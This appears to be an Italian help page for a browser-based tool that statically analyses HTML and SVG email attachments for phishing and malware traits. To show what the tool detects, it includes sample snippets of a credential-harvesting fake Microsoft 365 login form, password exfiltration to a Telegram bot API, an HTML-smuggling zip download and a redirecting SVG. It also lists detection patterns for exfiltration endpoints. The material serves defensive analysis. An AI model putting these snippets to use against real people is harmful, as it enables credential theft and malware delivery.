Rimuovi strati Base64, hex, codifica URL, gzip e deflate finché non resta testo leggibile.
Analizzatore di allegati HTML
Lo strumento è in inglese; questa pagina ne fornisce una spiegazione nella tua lingua.
Usa Analizzatore di allegati HTML
Cosa fa
Carica o incolla un allegato HTML o SVG per vedere cosa farebbe se lo aprissi: download nascosti, moduli che inviano una password altrove, reindirizzamenti, endpoint di esfiltrazione e codice offuscato. Il file viene letto come testo e mai visualizzato o eseguito.
Funziona interamente nel browser: nulla di ciò che inserisci viene caricato online.
Come utilizzare Analizzatore di allegati HTML
- Non aprire il file. Salva l'allegato .html, .htm, .shtml, .xhtml o .svg senza aprirlo, oppure copiane il sorgente come testo.
- Caricalo o incollalo. Trascina il file sul riquadro o selezionalo (fino a 25 MB), oppure incolla il sorgente (fino a 5 MB) e premi Analyze o Ctrl+Invio.
- Leggi il verdetto. Il riquadro in alto dice High risk, Suspicious o No high-risk patterns found, con le categorie che lo determinano e il conteggio di risultati, IOC e blob incorporati.
- Esamina i risultati. Ogni risultato mostra gravità, categoria, numero di riga e sorgente corrispondente, con link e indirizzi in forma defanged.
- Esporta ciò che hai trovato. Copia gli IOC in forma defanged o grezza, oppure usa Send to per IOC Converter, Abuse Report Generator o, per un blob incorporato, Multi-Layer Decoder.
Esempio
Modulo di accesso con un indirizzo precompilato
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>High risk: techniques used by phishing and malware attachments
Credential harvesting
1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs
FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365
This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.
Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO METHOD FIELDS LINE
hxxps://collector[.]example/login external Copy POST email u, password p, submit password 2
Requests and redirects with a literal target
VIA TARGET LINE
form hxxps://collector[.]example/login other site 2
IOCs
URLs (1)
hxxps://collector[.]example/login
Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)
Static
…High risk: il modulo di accesso invia la password a collector[.]example, il titolo nomina Microsoft 365 accanto a un campo password, e lo script compila l'indirizzo e-mail dal frammento dell'URL con atob. L'elenco degli IOC contiene l'URL del collettore e il suo dominio, in forma defanged.
Cosa verifica
| Segnale | Cosa significa |
|---|---|
| HTML smuggling | Alto quando la pagina costruisce un file in memoria (Blob con createObjectURL o un link di download, oppure msSaveOrOpenBlob) e lo offre come download. |
| Moduli | Qualsiasi modulo che invia dati a un altro sito è valutato alto, e il titolo indica quando contiene una password. La tabella Forms elenca dove invia ciascun modulo, il metodo e i campi. |
| Endpoint di esfiltrazione | Le chiamate alla Telegram Bot API, i token dei bot, i webhook di Discord e i servizi di raccolta moduli come formspree.io o webhook.site sono valutati alti. |
| Offuscamento | atob, unescape, fromCharCode, lunghe sequenze di escape e output di offuscatori noti. Le stringhe codificate letterali vengono decodificate senza eseguirle. |
| Codice dinamico | eval, il costruttore Function, document.write e le assegnazioni a innerHTML costruiscono codice o markup in fase di esecuzione. |
| Reindirizzamenti | Cambi di location, window.open, meta refresh e lettura del frammento dell'URL, dove i kit spesso passano l'indirizzo e-mail della vittima. |
| Anti-analisi | Clic destro o F12 bloccati, istruzioni debugger, rilevamento degli strumenti per sviluppatori e controlli sui browser automatizzati. |
| Contenuto incorporato | data: URI, lunghi blob Base64 o esadecimali e il tipo di file in cui si decodificano, iframe nascosti e file SVG che contengono script. |
| Indizi di marchio | Nomi di marchi nel titolo, nei loghi o nei link. Accanto a un campo password sono valutati medi. |
Altri esempi
Un download costruito nel browser
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>High risk, motivo HTML smuggling: 1 risultato high (la pagina assembla un file nel browser e lo offre come download) e 4 medium per atob, new Blob, URL.createObjectURL e l'attributo download. Nessun IOC.
Una password inviata a un bot Telegram
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>High risk, motivo Data exfiltration: uno script invia dati da una pagina con un campo password ad api.telegram.org, più il risultato sull'endpoint della Telegram Bot API. I risultati medium riguardano fetch, il campo password e un modulo di accesso senza action esterna.
Un'immagine SVG che reindirizza
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>High risk: file SVG con script, più un reindirizzamento medium e un risultato low per btoa. La destinazione compare in Requests and redirects come altro sito, e l'URL del namespace XML viene escluso dagli IOC.
Domande frequenti
Cosa cerca l'analizzatore?
Confronta il sorgente con regole per l'HTML smuggling (Blob, createObjectURL, msSaveOrOpenBlob, link di download, data: URI e lunghi blob Base64), moduli e script che inviano dati ad altri siti, esfiltrazione via Telegram e Discord, reindirizzamenti, iframe nascosti, offuscatori e trucchi anti-analisi. Decodifica inoltre i letterali atob, unescape e fromCharCode senza eseguirli ed elenca ogni URL, dominio, indirizzo IP e indirizzo e-mail che trova, in forma defanged.
Può non accorgersi di qualcosa o dare un falso allarme?
Sì. Il codice cifrato o generato in fase di esecuzione può nascondere il proprio comportamento a un'analisi statica, e anche le pagine normali usano fetch, innerHTML o immagini incorporate, quindi leggi il sorgente corrispondente mostrato accanto a ogni risultato. Per la deoffuscazione e l'emulazione in sandbox usa JS Analyzer.
Il file viene caricato o aperto?
No. Il file viene letto come testo nel tuo browser e non viene mai visualizzato, eseguito o inviato da nessuna parte. Sono accettati file fino a 25 MB; per quelli molto grandi vengono analizzati i primi 4 MB e l'ultimo MB di markup, e i blob incorporati vengono contati nell'intero file.
Perché un'immagine SVG viene controllata come una pagina web?
I file SVG sono XML che i browser aprono come pagine, quindi possono contenere script, link e HTML incorporato. Un'immagine non ha bisogno di script, quindi uno script all'interno di un SVG è valutato alto.
Cosa sono i blob incorporati?
Lunghe stringhe Base64, esadecimali o array di byte all'interno del file. Vengono decodificate in memoria ed etichettate con il tipo di file in cui si trasformano; puoi copiarne uno o inviare un blob di testo a Multi-Layer Decoder.
Cosa significano i livelli di gravità?
High indica schemi su cui si basano gli allegati di phishing e malware, come smuggling, endpoint di esfiltrazione o un modulo con password che invia dati altrove. Medium copre tecniche usate anche dalle pagine normali. Un solo risultato high rende il verdetto High risk.